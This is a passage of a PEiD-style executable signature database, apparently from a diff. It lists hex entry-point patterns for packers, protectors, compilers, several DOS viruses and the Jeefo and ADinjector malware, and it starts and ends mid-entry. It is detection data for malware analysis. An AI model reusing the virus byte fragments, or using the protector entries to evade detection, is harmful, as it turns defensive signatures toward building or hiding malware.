01 81 FC 4F 50 74 0B 8D B6 86 01 BF 00 01 57 A4 EB 11 1E 06 +ep_only = true + +[Vx: August 16th (Iron Maiden)] +signature = BA 79 02 03 D7 B4 1A CD 21 B8 24 35 CD 21 5F 57 89 9D 4E 02 8C 85 50 02 +ep_only = true + +[Vx: Backfont.900] +signature = E8 ?? ?? B4 30 CD 21 3C 03 ?? ?? B8 ?? ?? BA ?? ?? CD 21 81 FA ?? ?? ?? ?? BA ?? ?? 8C C0 48 8E C0 8E D8 80 ?? ?? ?? 5A ?? ?? 03 ?? ?? ?? 40 8E D8 80 ?? ?? ?? 5A ?? ?? 83 +ep_only = true + +[Vx: Doom.666] +signature = E8 ?? ?? ?? 5E 83 EE ?? B8 CF 7B CD 21 3D CF 7B ?? ?? 0E 1F 81 C6 ?? ?? BF ?? ?? B9 ?? ?? FC F3 A4 06 1F 06 B8 ?? ?? 50 CB B4 48 BB 2C 00 CD 21 +ep_only = true + +[Vx: Eddie.1028] +signature = E8 ?? ?? 5E FC 83 ?? ?? 81 ?? ?? ?? 4D 5A ?? ?? FA 8B E6 81 C4 ?? ?? FB 3B ?? ?? ?? ?? ?? 50 06 56 1E B8 FE 4B CD 21 81 FF BB 55 ?? ?? 07 ?? ?? ?? 07 B4 49 CD 21 BB FF FF B4 48 CD 21 +ep_only = true + +[Vx: Eddie.1530] +signature = E8 ?? ?? 5E 81 EE ?? ?? FC 2E ?? ?? ?? ?? 4D 5A ?? ?? FA 8B E6 81 C4 ?? ?? FB 3B ?? ?? ?? ?? ?? 2E ?? ?? ?? ?? 50 06 56 1E 33 C0 50 1F C4 ?? ?? ?? 2E ?? ?? ?? ?? 2E +ep_only = true + +[Vx: Eddie.1800] +signature = E8 ?? ?? 5E 81 EE ?? ?? FC 2E ?? ?? ?? ?? 4D 5A ?? ?? FA 8B E6 81 C4 ?? ?? FB 3B ?? ?? ?? ?? ?? 50 06 56 1E 8B FE 33 C0 50 8E D8 C4 ?? ?? ?? 2E ?? ?? ?? ?? 2E +ep_only = true + +[Vx: Eddie.2000] +signature = E8 ?? ?? 5E 81 EE ?? ?? FC 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 4D 5A ?? ?? FA 8B E6 81 C4 ?? ?? FB 3B ?? ?? ?? ?? ?? 50 06 56 1E 8B FE 33 C0 50 8E D8 C5 ?? ?? ?? B4 30 CD 21 +ep_only = true + +[Vx: Einstein] +signature = 00 42 CD 21 72 31 B9 6E 03 33 D2 B4 40 CD 21 72 19 3B C1 75 15 B8 00 42 +ep_only = true + +[Vx: Gotcha.879] +signature = E8 ?? ?? 5B 81 EB ?? ?? 9C FC 2E ?? ?? ?? ?? ?? ?? ?? 8C D8 05 ?? ?? 2E ?? ?? ?? ?? 50 2E ?? ?? ?? ?? ?? ?? 8B C3 05 ?? ?? 8B F0 BF 00 01 B9 20 00 F3 A4 0E B8 00 01 50 B8 DA DA CD 21 +ep_only = true + +[Vx: Grazie.883] +signature = 1E 0E 1F 50 06 BF 70 03 B4 1A BA 70 03 CD 21 B4 47 B2 00 BE 32 04 CD 21 +ep_only = true + +[Vx: GRUNT.4.Family] +signature = E8 1C 00 8D 9E 41 01 40 3E 8B 96 14 03 B9 EA 00 87 DB F7 D0 31 17 83 C3 02 E2 F7 C3 +ep_only = true + +[Vx: Hafen.809] +signature = E8 ?? ?? 1C ?? 81 EE ?? ?? 50 1E 06 8C C8 8E D8 06 33 C0 8E C0 26 ?? ?? ?? 07 3D +ep_only = true + +[Vx: Kuku.886] +signature = 06 1E 50 8C C8 8E D8 BA 70 03 B8 24 25 CD 21 ?? ?? ?? ?? ?? 90 B4 2F CD 21 53 +ep_only = true + +[Vx: Modification of Hi.924] +signature = 50 53 51 52 1E 06 9C B8 21 35 CD 21 53 BB ?? ?? 26 ?? ?? 49 48 5B +ep_only = true + +[Vx: Uddy.2617] +signature = 2E ?? ?? ?? ?? ?? 2E ?? ?? ?? ?? ?? 2E ?? ?? ?? 8C C8 8E D8 8C ?? ?? ?? 2B ?? ?? ?? 03 ?? ?? ?? A3 ?? ?? A1 ?? ?? A3 ?? ?? A1 ?? ?? A3 ?? ?? 8C C8 2B ?? ?? ?? 03 ?? ?? ?? A3 ?? ?? B8 AB 9C CD 2F 3D 76 98 +ep_only = true + +[Vx: XRCV.1015] +signature = E8 ?? ?? 5E 83 ?? ?? 53 51 1E 06 B4 99 CD 21 80 FC 21 ?? ?? ?? ?? ?? 33 C0 50 8C D8 48 8E C0 1F A1 ?? ?? 8B +ep_only = true + +[W32.Jeefo (PE File Infector)] +signature = 55 89 E5 83 EC 08 83 C4 F4 6A 02 A1 C8 ?? ?? ?? FF D0 E8 ?? ?? ?? ?? C9 C3 +ep_only = true + +[WARNING -> TROJAN -> ADinjector] +signature = 90 61 BE 00 20 44 00 8D BE 00 F0 FB FF C7 87 9C E0 04 00 6A F0 8A 5E 57 83 CD FF EB 0E +ep_only = true + +[WATCOM C/C++ 32 Run-Time System 1988-1995] +signature = E9 ?? ?? ?? ?? ?? ?? ?? ?? 57 41 54 43 4F 4D 20 43 2F 43 2B 2B 33 32 20 52 75 6E 2D 54 +ep_only = true + +[WATCOM C/C++ DLL] +signature = 53 56 57 55 8B 74 24 14 8B 7C 24 18 8B 6C 24 1C 83 FF 03 0F 87 +ep_only = true + +[WebCops [DLL] -> LINK Data Security] +signature = A8 BE 58 DC D6 CC C4 63 4A 0F E0 02 BB CE F3 5C 50 23 FB 62 E7 3D 2B +ep_only = true + +[WebCops [EXE] -> LINK Data Security] +signature = EB 03 05 EB 02 EB FC 55 EB 03 EB 04 05 EB FB EB 53 E8 04 00 00 00 72 +ep_only = true + +[Wise Installer Stub] +signature = 55 8B EC 81 EC ?? 04 00 00 53 56 57 6A ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? 40 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? 20 +ep_only = true + +[Wise Installer Stub] +signature = 55 8B EC 81 EC ?? ?? 00 00 53 56 57 6A 01 5E 6A 04 89 75 E8 FF 15 ?? 40 40 00 FF 15 ?? 40 40 00 8B F8 89 7D ?? 8A 07 3C 22 0F 85 ?? 00 00 00 8A 47 01 47 89 7D ?? 33 DB 3A C3 74 0D 3C 22 74 09 8A 47 01 47 89 7D ?? EB EF 80 3F 22 75 04 47 89 7D ?? 80 3F 20 +ep_only = false + +[WWPACK v3.00, v3.01 (Extractable)] +signature = B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 6A ?? 06 06 8C D3 83 ?? ?? 53 6A ?? FC +ep_only = true + +[WWPACK v3.02, v3.02a (Extractable)] +signature = B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 33 C9 B1 ?? 51 06 06 BB ?? ?? 53 8C D3 +ep_only = true + +[WWPACK v3.02, v3.02a, v3.04 (Relocations pack)] +signature = BE ?? ?? BF ?? ?? B9 ?? ?? 8C CD 81 ED ?? ?? 8B DD 81 EB ?? ?? 8B D3 FC FA 1E 8E DB 01 15 33 C0 2E AC +ep_only = true + +[WWPACK v3.03] +signature = B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 BB ?? ?? 53 +ep_only = true + +[WWPACK v3.05c4 (Extr. Passw.check. Vir. shield)] +signature = 03 05 C0 1A B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3 +ep_only = true + +[WWPACK v3.05c4 (Extractable + Password checking)] +signature = 03 05 80 1A B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3 +ep_only = true + +[WWPACK v3.05c4 (Extractable + Virus Shield)] +signature = 03 05 40 1A B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3 +ep_only = true + +[WWPACK v3.05c4 (Extractable)] +signature = 03 05 00 1A B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3 +ep_only = true + +[WWPACK v3.05c4 (Modified)] +signature = B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3 +ep_only = true + +[WWPACK v3.05c4 (Unextr. Passw.check. Vir. shield)] +signature = 03 05 C0 1B B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3 +ep_only = true + +[WWPACK v3.05c4 (Unextractable + Password checking)] +signature = 03 05 80 1B B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3 +ep_only = true + +[WWPACK v3.05c4 (Unextractable + Virus Shield)] +signature = 03 05 40 1B B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3 +ep_only = true + +[WWPACK v3.05c4 (Unextractable)] +signature = 03 05 00 1B B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3 +ep_only = true + +[XCR v0.13] +signature = 93 71 08 ?? ?? ?? ?? ?? ?? ?? ?? 8B D8 78 E2 ?? ?? ?? ?? 9C 33 C3 ?? ?? ?? ?? 60 79 CE ?? ?? ?? ?? E8 01 ?? ?? ?? ?? 83 C4 04 E8 AB FF FF FF ?? ?? ?? ?? 2B E8 ?? ?? ?? ?? 03 C5 FF 30 ?? ?? ?? ?? C6 ?? EB +ep_only = true + +[XPack 1.67] +signature = B8 8C D3 15 33 75 81 3E E8 0F 00 9A E8 F9 FF 9A 9C EB 01 9A 59 80 CD 01 51 9D EB +ep_only = true + +[y0da's Crypter v1.0] +signature = 60 E8 00 00 00 00 5D 81 ED E7 1A 40 00 E8 A1 00 00 00 E8 D1 00 00 00 E8 85 01 00 00 F7 85 +ep_only = true + +[y0da's Crypter v1.1] +signature = 60 E8 00 00 00 00 5D 81 ED 8A 1C 40 00 B9 9E 00 00 00 8D BD 4C 23 40 00 8B F7 33 +ep_only = true + +[y0da's Crypter v1.2] +signature = 60 E8 00 00 00 00 5D 81 ED F3 1D 40 00 B9 7B 09 00 00 8D BD 3B 1E 40 00 8B F7 AC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? AA E2 CC +ep_only = true + +[yoda's Crypter 1.3-->Ashkbiz Danehkar] +signature = 55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 6C 28 40 00 B9 5D 34 40 00 +ep_only = true + +[yP v1.0b by Ashkbiz Danehkar] +signature = 55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 4C 32 40 00 E8 03 00 00 00 EB 01 ?? B9 EA 47 40 00 81 E9 E9 32 40 00 8B D5 81 C2 E9 32 40 00 8D 3A 8B F7 33 C0 E8 04 00 00 00 90 EB 01 C2 E8 03 00 00 00 EB 01 ?? AC ?? ?? ?? ?? ?? ?? ?? EB 01 E8 +ep_only = false + +[!EP (ExE Pack) V1.0 -> Elite Coding Group] +signature = 60 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 +ep_only = true + +[$pirit v1.5] +signature = ?? ?? ?? 5B 24 55 50 44 FB 32 2E 31 5D +ep_only = true + +[* PseudoSigner 0.1 [MEW 11 SE 1.0] --> Anorganix] +signature = E9 09 00 00 00 00 00 00 02 00 00 00 0C 90 E9 +ep_only = true + +[* PseudoSigner 0.1 [MinGW GCC 2.x] --> Anorganix] +signature = 55 89 E5 E8 02 00 00 00 C9 C3 90 90 45 58 45 E9 +ep_only = true + +[* PseudoSigner 0.1 [VBOX 4.3 MTE] --> Anorganix] +signature = 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 E9 +ep_only = true + +[* PseudoSigner 0.1 [VOB ProtectCD 5] --> Anorganix] +signature = 36 3E 26 8A C0 60 E8 00 00 00 00 E9 +ep_only = true + +[* PseudoSigner 0.1 [WATCOM C/C++ EXE] --> Anorganix] +signature = E9 00 00 00 00 90 90 90 90 57 41 E9 +ep_only = true + +[* PseudoSigner 0.1 [XCR 0.11] --> Anorganix] +signature = 60 8B F0 33 DB 83 C3 01 83 C0 01 E9 +ep_only = true + +[* PseudoSigner 0.1 [Yoda's Protector 1.02] --> Anorganix] +signature = E8 03 00 00 00 EB 01 90 90 E9 +ep_only = true + +[* PseudoSigner 0.2 [32Lite 0.03] --> Anorganix] +signature = 60 06 FC 1E 07 BE 90 90 90 90 6A 04 68 90 10 90 90 68 +ep_only = true + +[* PseudoSigner 0.2 [Borland C++ DLL (Method 2)] --> Anorganix] +signature = EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 90 90 90 90 +ep_only = true + +[* PseudoSigner 0.2 [CD-Cops II] --> Anorganix] +signature = 53 60 BD 90 90 90 90 8D 45 90 8D 5D 90 E8 00 00 00 00 8D 01 +ep_only = true + +[* PseudoSigner 0.2 [MEW 11 SE 1.0] --> Anorganix] +signature = E9 09 00 00 00 00 00 00 02 00 00 00 0C 90 +ep_only = true + +[* PseudoSigner 0.2 [Microsoft Visual Basic 5.0 - 6.0] --> Anorganix] +signature = 68 ?? ?? ?? ?? E8 0A 00 00 00 00 00 00 00 00 00 30 00 00 00 +ep_only = true + +[* PseudoSigner 0.2 [MinGW GCC 2.x] --> Anorganix] +signature = 55 89 E5 E8 02 00 00 00 C9 C3 90 90 45 58 45 +ep_only = true + +[* PseudoSigner 0.2 [VBOX 4.3 MTE] --> Anorganix] +signature = 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 +ep_only = true + +[* PseudoSigner 0.2 [VOB ProtectCD 5] --> Anorganix] +signature = 36 3E 26 8A C0 60 E8 00 00 00 00 +ep_only = true + +[* PseudoSigner 0.2 [WATCOM C/C++ EXE] --> Anorganix] +signature = E9 00 00 00 00 90 90 90 90 57 41 +ep_only = true + +[* PseudoSigner 0.2 [XCR 0.11] --> Anorganix] +signature = 60 8B F0 33 DB 83 C3 01 83 C0 01 +ep_only = true + +[* PseudoSigner 0.2 [Yoda's Protector 1.02] --> Anorganix] +signature = E8 03 00 00 00 EB 01 90 90 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 36 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 E8 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 6D 00 E9 +ep_only = true + +[.BJFnt v1.1b] +signature = EB 01 EA 9C EB 01 EA 53 EB 01 EA 51 EB 01 EA 52 EB 01 EA 56 +ep_only = true + +[.BJFnt v1.2 RC] +signature = EB 02 69 B1 83 EC 04 EB 03 CD 20 EB EB 01 EB 9C EB 01 EB EB +ep_only = true + +[.BJFnt v1.3] +signature = EB 03 3A 4D 3A 1E EB 02 CD 20 9C EB 02 CD 20 EB 02 CD 20 60 +ep_only = true + +[32Lite v0.03a] +signature = 60 06 FC 1E 07 BE ?? ?? ?? ?? 6A 04 68 ?? 10 ?? ?? 68 +ep_only = true + +[A program by Jupiter ..] +signature = 2B C0 74 05 68 ?? ?? ?? ?? 50 +ep_only = true + +[A3E (TXT2COM)] +signature = 1E 33 C0 50 BE ?? ?? 81 C6 ?? ?? B8 ?? ?? 8E C0 BF ?? ?? B9 ?? ?? F3 A5 CB +ep_only = true + +[AcidCrypt] +signature = BE ?? ?? ?? ?? 02 38 40 4E 75 FA 8B C2 8A 18 32 DF C0 CB +ep_only = true + +[AcidCrypt] +signature = 60 B9 ?? ?? ?? 00 BA ?? ?? ?? 00 BE ?? ?? ?? 00 02 38 40 4E 75 FA 8B C2 8A 18 32 DF C0 CB +ep_only = true + +[ACProtect v1.35 -> risco software Inc. & Anticrack Software (h)] +signature = 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 55 53 45 52 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 47 65 74 50 72 6F 63 +ep_only = false + +[ACProtect V1.3X -> risco] +signature = 60 50 E8 01 00 00 00 75 83 +ep_only = true + +[ACProtect V1.4X -> risco] +signature = 60 E8 01 00 00 00 7C 83 04 24 06 C3 +ep_only = true + +[ACProtect v1.90g -> Risco software Inc.] +signature = 60 0F 87 02 00 00 00 1B F8 E8 01 00 00 00 73 83 04 24 06 C3 +ep_only = true + +[ActiveMARK[TM] R5.31.1140 -> Trymedia] +signature = 79 11 7F AB 9A 4A 83 B5 C9 6B 1A 48 F9 27 B4 25 +ep_only = true + +[AdFlt2] +signature = 68 00 01 9C 0F A0 0F A8 60 FD 6A 00 0F A1 BE ?? ?? AD +ep_only = true + +[Ady's Glue 1.10] +signature = 2E ?? ?? ?? ?? 0E 1F BF ?? ?? 33 DB 33 C0 AC +ep_only = true + +[AINEXE v2.1] +signature = A1 ?? ?? 2D ?? ?? 8E D0 BC ?? ?? 8C D8 36 A3 ?? ?? 05 ?? ?? 36 A3 ?? ?? 2E A1 ?? ?? 8A D4 B1 04 D2 EA FE C9 +ep_only = true + +[AINEXE v2.30] +signature = 0E 07 B9 ?? ?? BE ?? ?? 33 FF FC F3 A4 A1 ?? ?? 2D ?? ?? 8E D0 BC ?? ?? 8C D8 +ep_only = true + +[Aluwain v8.09] +signature = 8B EC 1E E8 ?? ?? 9D 5E +ep_only = true + +[Anskya Binder v1.1 -> Anskya] +signature = BE ?? ?? ?? 00 BB F8 11 40 00 33 ED 83 EE 04 39 2E 74 11 +ep_only = true + +[Anticrack Software Protector v1.09 (ACProtect)] +signature = 60 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 ?? 83 04 24 06 C3 ?? ?? ?? ?? ?? 00 +ep_only = true + +[AntiVirus Vaccine v.1.03] +signature = FA 33 DB B9 ?? ?? 0E 1F 33 F6 FC AD 35 ?? ?? 03 D8 E2 +ep_only = true + +[aPack v0.62] +signature = 1E 06 8C C8 8E D8 ?? ?? ?? 8E C0 50 BE ?? ?? 33 FF FC B6 +ep_only = true + +[aPack v0.98 -m] +signature = 1E 06 8C C8 8E D8 05 ?? ?? 8E C0 50 BE ?? ?? 33 FF FC B2 ?? BD ?? ?? 33 C9 50 A4 BB ?? ?? 3B F3 76 +ep_only = false + +[aPack v0.98b (DS&ES not saved)] +signature = 8C CB BA ?? ?? 03 DA FC 33 F6 33 FF 4B 8E DB 8D ?? ?? ?? 8E C0 B9 ?? ?? F3 A5 4A 75 +ep_only = false + +[APatch GUI v1.1] +signature = 52 31 C0 E8 FF FF FF FF +ep_only = true + +[ARC-SFX Archive] +signature = 8C C8 8C DB 8E D8 8E C0 89 ?? ?? ?? 2B C3 A3 ?? ?? 89 ?? ?? ?? BE ?? ?? B9 ?? ?? BF ?? ?? BA ?? ?? FC AC 32 C2 8A D8 +ep_only = true + +[Armadillo v1.71] +signature = 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 +ep_only = true + +[Armadillo v1.72 - v1.73] +signature = 55 8B EC 6A FF 68 E8 C1 ?? ?? 68 F4 86 ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 +ep_only = true + +[Armadillo v1.9x] +signature = 55 8B EC 6A FF 68 98 ?? ?? ?? 68 10 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 +ep_only = true + +[Armadillo v1.xx - v2.xx] +signature = 55 8B EC 53 8B 5D 08 56 8B 75 0C 57 8B 7D 10 85 F6 +ep_only = true + +[Armadillo v2.51] +signature = 55 8B EC 6A FF 68 B8 ?? ?? ?? 68 D0 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 20 +ep_only = true + +[Armadillo v2.52] +signature = 55 8B EC 6A FF 68 E0 ?? ?? ?? 68 D4 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 38 +ep_only = true + +[Armadillo v2.52b2] +signature = 55 8B EC 6A FF 68 B0 ?? ?? ?? 68 60 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 24 +ep_only = true + +[Armadillo v2.53b3] +signature = 55 8B EC 6A FF 68 D8 ?? ?? ?? 68 14 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 +ep_only = true + +[ASPack v1.02b] +signature = 60 E8 00 00 00 00 5D 81 ED 96 78 43 00 B8 90 78 43 00 03 C5 +ep_only = true + +[ASPack v1.04b] +signature = 60 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? B8 ?? ?? ?? ?? 03 C5 2B 85 ?? 12 9D ?? 89 85 1E 9D ?? ?? 80 BD 08 9D +ep_only = true + +[ASPack v1.07b] +signature = 60 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? B8 ?? ?? ?? ?? 03 C5 2B 85 ?? 0B DE ?? 89 85 17 DE ?? ?? 80 BD 01 DE +ep_only = true + +[ASPack v1.07b (DLL)] +signature = 60 E8 00 00 00 00 5D ?? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 03 C5 +ep_only = true + +[ASPack v1.08.01] +signature = 60 EB ?? 5D EB ?? FF ?? ?? ?? ?? ?? E9 +ep_only = true + +[ASPack v1.08.03] +signature = 60 E8 00 00 00 00 5D ?? ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 03 DD +ep_only = true + +[ASPack v1.08.03] +signature = 60 E8 00 00 00 00 5D 81 ED 0A 4A 44 00 BB 04 4A 44 00 03 DD +ep_only = true + +[ASPack v1.08.04] +signature = 60 E8 41 06 00 00 EB 41 +ep_only = true + +[ASPack v2.000] +signature = 60 E8 70 05 00 00 EB 4C +ep_only = true + +[ASPack v2.001] +signature = 60 E8 72 05 00 00 EB 4C +ep_only = true + +[ASPack v2.1] +signature = 60 E8 72 05 00 00 EB 33 87 DB 90 00 +ep_only = true + +[ASPack v2.11d] +signature = 60 E8 02 00 00 00 EB 09 5D 55 +ep_only = true + +[ASPack v2.12] +signature = 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 +ep_only = true + +[ASPack v2.xx] +signature = A8 03 ?? ?? 61 75 08 B8 01 ?? ?? ?? C2 0C ?? 68 ?? ?? ?? ?? C3 8B 85 26 04 ?? ?? 8D 8D 3B 04 ?? ?? 51 50 FF 95 +ep_only = true + +[ASPR Stripper v2.x unpacked] +signature = BB ?? ?? ?? ?? E9 ?? ?? ?? ?? 60 9C FC BF ?? ?? ?? ?? B9 ?? ?? ?? ?? F3 AA 9D 61 C3 55 8B EC +ep_only = true + +[ASProtect 1.33 - 2.1 Registered -> Alexey Solodovnikov] +signature = 68 01 ?? ?? ?? E8 01 00 00 00 C3 C3 +ep_only = true + +[ASProtect v1.0] +signature = 60 E8 01 ?? ?? ?? 90 5D 81 ED ?? ?? ?? ?? BB ?? ?? ?? ?? 03 DD 2B 9D +ep_only = true + +[ASProtect v1.1] +signature = 60 E9 ?? 04 ?? ?? E9 ?? ?? ?? ?? ?? ?? ?? EE +ep_only = true + +[ASProtect v1.1 MTE] +signature = 60 E9 ?? ?? ?? ?? 91 78 79 79 79 E9 +ep_only = true + +[ASProtect v1.1 MTEc] +signature = 90 60 E8 1B ?? ?? ?? E9 FC +ep_only = true + +[ASProtect v1.23 RC1] +signature = 68 01 ?? ?? 00 E8 01 00 00 00 C3 C3 +ep_only = true + +[ASProtect v1.2x] +signature = 00 00 68 01 ?? ?? ?? C3 AA +ep_only = true + +[ASProtect v1.2x (New Strain)] +signature = 68 01 ?? ?? ?? E8 01 ?? ?? ?? C3 C3 +ep_only = true + +[ASProtect vx.x] +signature = 60 ?? ?? ?? ?? ?? 90 5D ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 03 DD +ep_only = true + +[bambam V0.01 -> bedrock] +signature = 6A 14 E8 9A 05 00 00 8B D8 53 68 ?? ?? ?? ?? E8 6C FD FF FF +ep_only = true + +[BeRoEXEPacker v1.00 -> BeRo / Farbrausch] +signature = 60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC B2 80 33 DB A4 B3 02 E8 ?? ?? ?? ?? 73 F6 33 C9 E8 ?? ?? ?? ?? 73 1C 33 C0 E8 ?? ?? ?? ?? 73 23 B3 02 41 B0 10 +ep_only = true + +[BeRoEXEPacker v1.00 -> BeRo / Farbrausch] +signature = 60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC B2 80 33 DB A4 B3 02 E8 ?? ?? ?? ?? 73 F6 33 C9 E8 ?? ?? ?? ?? 73 1C 33 C0 E8 ?? ?? ?? ?? 73 23 B3 02 41 B0 10 +ep_only = true + +[Blade Joiner v1.5] +signature = 55 8B EC 81 C4 E4 FE FF FF 53 56 57 33 C0 89 45 F0 89 85 +ep_only = true + +[BobSoft Mini Delphi -> BoB / BobSoft] +signature = 55 8B EC 83 C4 F0 B8 ?? ?? ?? ?? E8 +ep_only = true + +[BobSoft Mini Delphi -> BoB / BobSoft] +signature = 55 8B EC 83 C4 F0 53 56 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 B8 +ep_only = true + +[BobSoft Mini Delphi -> BoB / BobSoft] +signature = 55 8B EC 83 C4 F0 53 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 B8 ?? ?? ?? ?? E8 +ep_only = true + +[BookManager v9510] +signature = FC A3 ?? ?? 89 1E ?? ?? 49 89 0E ?? ?? BB ?? ?? 8C 1F 83 ?? ?? 89 ?? ?? B8 ?? ?? 50 89 ?? ?? F7 D0 50 +ep_only = true + +[BopCrypt v1.0] +signature = 60 BD ?? ?? ?? ?? E8 ?? ?? 00 00 +ep_only = true + +[by Central Point Software] +signature = 50 51 52 56 57 8B EB 1E 2E +ep_only = true + +[Can2Exe v0.01] +signature = 0E 1F 0E 07 E8 ?? ?? E8 ?? ?? 3A C6 73 +ep_only = true + +[CauseWay DOS Extender v3.25] +signature = FA 16 1F 26 ?? ?? ?? 83 ?? ?? 8E D0 FB 06 16 07 BE ?? ?? 8B FE B9 ?? ?? F3 A4 07 +ep_only = true + +[CC v2.61 Beta] +signature = BA ?? ?? B4 30 CD 21 3C 02 73 ?? 33 C0 06 50 CB +ep_only = true + +[CD-Cops II] +signature = 53 60 BD ?? ?? ?? ?? 8D 45 ?? 8D 5D ?? E8 ?? ?? ?? ?? 8D +ep_only = true + +[CERBERUS v2.0] +signature = 9C 2B ED 8C ?? ?? 8C ?? ?? FA E4 ?? 88 ?? ?? 16 07 BF ?? ?? 8E DD 9B F5 B9 ?? ?? FC F3 A5 +ep_only = true + +[CHECKPRG (c) 1992] +signature = 33 C0 BE ?? ?? 8B D8 B9 ?? ?? BF ?? ?? BA ?? ?? 47 4A 74 +ep_only = true + +[ChSfx (small) v1.1] +signature = BA ?? ?? E8 ?? ?? 8B EC 83 EC ?? 8C C8 BB ?? ?? B1 ?? D3 EB 03 C3 8E D8 05 ?? ?? 89 +ep_only = true + +[Code-Lock vx.x] +signature = 43 4F 44 45 2D 4C 4F 43 4B 2E 4F 43 58 00 +ep_only = true + +[CodeCrypt v0.14b] 